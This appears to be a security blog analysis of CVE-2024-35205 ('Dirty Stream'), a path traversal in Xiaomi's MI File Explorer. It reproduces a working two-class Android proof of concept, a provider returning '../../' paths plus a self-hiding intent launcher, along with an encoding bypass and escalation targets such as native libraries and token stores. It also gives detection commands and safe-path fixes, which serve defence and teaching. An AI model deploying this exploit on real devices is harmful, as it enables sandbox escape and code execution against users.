~/cyb3r-w0lf
A technical deep dive into CVE-2024-35205 — how a rogue FileProvider turns Android's inter-app file sharing into an arbitrary write primitive, and what cyb3r-w0lf's PoC reveals about the attack surface.
Android enforces strong process-level isolation through a Unix UID model backed by SELinux mandatory access controls. Each application runs in its own sandbox: private data at /data/data/<pkg>/ is inaccessible to other apps by kernel file permission bits alone.
But apps need to communicate. The IPC framework — Binder, Intents, and ContentProviders — was designed to let applications exchange data without punching holes in the sandbox. ContentProvider is the key player: an abstraction layer that exposes structured data or file handles to other apps in a controlled, declarative way.
Sharing raw file paths via file:// URIs was deprecated in Android 7.0 (Nougat) because it leaked internal filesystem layout and bypassed permission checks. The replacement, FileProvider, wraps files behind opaque content:// URIs. The server-side app declares shareable paths in a resource XML, and the runtime enforces that no URI escapes those roots. The flow looks like this:
The security of this model rests on one implicit assumption: the consuming application must never trust the filename provided by the serving application. When that assumption breaks — as it did in Xiaomi's MI File Explorer — the sandbox collapses.
When MI File Explorer receives a file share intent, it queries _display_name from the sending ContentProvider to determine where to cache the incoming file. The simplified vulnerable pattern:
// Simplified vulnerable pattern in MI File Explorer
private String getFileName(Uri contentUri) {
Cursor cursor = getContentResolver().query(
contentUri,
new String[] { OpenableColumns.DISPLAY_NAME },
null, null, null
);
if (cursor != null && cursor.moveToFirst()) {
return cursor.getString(0); // ← ATTACKER CONTROLS THIS
}
return "downloaded_file";
}
// Downstream: filename used directly — no canonicalization
File dest = new File(cacheDir, getFileName(uri));
copyStreamToFile(getContentResolver().openInputStream(uri), dest);
If the malicious provider returns ../../shared_prefs/pwned.txt, the resulting path resolves to /data/user/0/com.mi.android.globalFileexplorer/shared_prefs/pwned.txt — outside the intended cache directory.
Key insight: This is not a flaw in Android's ContentProvider API. It is a confused deputy problem — MI File Explorer implicitly trusted user-controlled metadata from an untrusted source.
getLastPathSegment() doesn't save youA common fix attempt is using Uri.getLastPathSegment() on the content URI. This is still exploitable: passing %2F..%2Fshared_prefs%2Fevil.xml will decode through the API into a full traversal. The only correct fix is canonical path validation.
The cyb3r-w0lf/Dirty_Stream-Android-POC repository is a clean, minimal two-class Java exploit targeting MI File Explorer V1-210567:
Overrides query() to return the traversal path in _display_name. When MI File Explorer calls getContentResolver().query(), it receives the weapon:
public class MaliciousProvider extends ContentProvider {
private static final String TRAVERSAL =
"../../shared_prefs/pwned.txt";
@Override
public Cursor query(Uri uri, ...) {
MatrixCursor c = new MatrixCursor(
new String[]{ OpenableColumns.DISPLAY_NAME, OpenableColumns.SIZE }
);
c.addRow(new Object[]{ TRAVERSAL, 42 }); // poisoned cursor
return c;
}
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode) {
File payload = new File(getContext().getFilesDir(), "pwned.txt");
return ParcelFileDescriptor.open(payload,
ParcelFileDescriptor.MODE_READ_ONLY);
}
}
public class MainActivity extends AppCompatActivity {
private static final String TARGET_PKG =
"com.mi.android.globalFileexplorer";
private static final String TARGET_ACTIVITY =
"com.mi.android.globalFileexplorer.FileProcessActivity";
@Override
protected void onCreate(Bundle saved) {
super.onCreate(saved);
Uri uri = Uri.parse(
"content://com.example.dirtystream.provider/payload"
);
Intent exploit = new Intent();
exploit.setClassName(TARGET_PKG, TARGET_ACTIVITY);
exploit.setData(uri);
exploit.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
startActivity(exploit);
finish(); // disappear immediately — no visible UI
}
}
Note: The finish() immediately after startActivity() is deliberate — the exploit app's Activity flickers for a single frame then closes. Payload already delivered.
<provider
android:name=".MaliciousProvider"
android:authorities="com.example.dirtystream.provider"
android:exported="true"
android:grantUriPermissions="true" />
Nothing about this declaration is unusual — thousands of legitimate apps have exported providers. Static analysis alone cannot distinguish a malicious provider from a benign one.
"The PoC writes a benign marker file, but the primitive is identical whether the payload is a tampered SharedPreferences XML, a native library .so loaded on next launch, or a database seeded with malicious SQL."
— Implications of arbitrary write within sandbox
| Target path | Payload type | Impact |
|---|---|---|
shared_prefs/*.xml | Tampered preferences | Disable security flags, inject config, change server endpoints |
lib/*.so | Malicious native library | Arbitrary code execution under target UID on next launch |
databases/*.db | Pre-seeded SQLite | Corrupt stored credentials, tokens, cached sensitive data |
cache/*.dex | Replacement bytecode | Code execution if dynamic class loading is present |
files/auth_token | Overwrite token store | Force re-auth, session fixation, credential theft on next sync |
Scale: MI File Explorer had over 1 billion installs at disclosure time. WPS Office — also vulnerable to the same pattern — serves over 500 million users. Microsoft's team found the pattern systemic across many popular apps.
// Red flag #1: exported provider with grantUriPermissions
<provider android:exported="true"
android:grantUriPermissions="true" ... />
// Red flag #2: MatrixCursor returning traversal strings
MatrixCursor c = new MatrixCursor(...);
c.addRow(new Object[] { "../../" + targetPath, ... });
// Red flag #3: explicit intent to another app's internal component
intent.setClassName("com.victim.app", internalActivity);
intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
# Find recently modified files in File Explorer's private dirs
adb shell "find /data/user/0/com.mi.android.globalFileexplorer \
-newer /data/user/0/com.mi.android.globalFileexplorer/databases \
-type f 2>/dev/null"
# Check for unexpected files in shared_prefs
adb shell "ls -la /data/user/0/com.mi.android.globalFileexplorer/shared_prefs/"
On non-rooted devices, Google Play Protect's behavioural engine flags apps that fire explicit intents to other apps' internal components with content URIs shortly after install.
File.getCanonicalPath() and assert it starts with the intended base directory._display_name — remove ../, ./, percent-encoded equivalents, and null bytes.android:exported="false" or protect with a signature-level permission if third-party access isn't needed.private File safeDestFile(String providedName, File destDir)
throws IOException {
// Option A: ignore provider name entirely — most robust
return new File(destDir, UUID.randomUUID().toString());
/* Option B: sanitize + validate
String safe = new File(providedName).getName(); // strip path components
File dest = new File(destDir, safe);
if (!dest.getCanonicalPath().startsWith(
destDir.getCanonicalPath() + File.separator)) {
throw new SecurityException("Path traversal: " + providedName);
}
return dest; */
}
Dirty Stream is not a one-off MI File Explorer bug — it is a systemic pattern in how Android apps handle inter-process file sharing. Microsoft's team found the same flaw in WPS Office and anticipated correctly that it exists across many more apps.
What makes this class insidious is that it exploits correct use of the API in one app against an incomplete implementation in another. ContentProvider and FileProvider are not broken. The vulnerability lives in the gap between the server's documented contract and the client's common implementation.
The cyb3r-w0lf PoC is excellent educational material precisely because it strips the exploit to minimum viable form — two Java classes, one manifest entry, ~80 lines of code, and a reliable arbitrary write on every invocation against the unpatched target.
Any Android application that accepts files from other applications and uses the provider-supplied filename to determine where to cache that content is potentially vulnerable. The Android Developer documentation now explicitly addresses this under Improperly trusting ContentProvider-provided filename (updated September 2024).
github.com/cyb3r-w0lf/Dirty_Stream-Android-POC
Microsoft Security Blog — Dirty Stream Attack (May 2024)
Android Docs — Improperly trusting ContentProvider-provided filename
NVD — CVE-2024-35205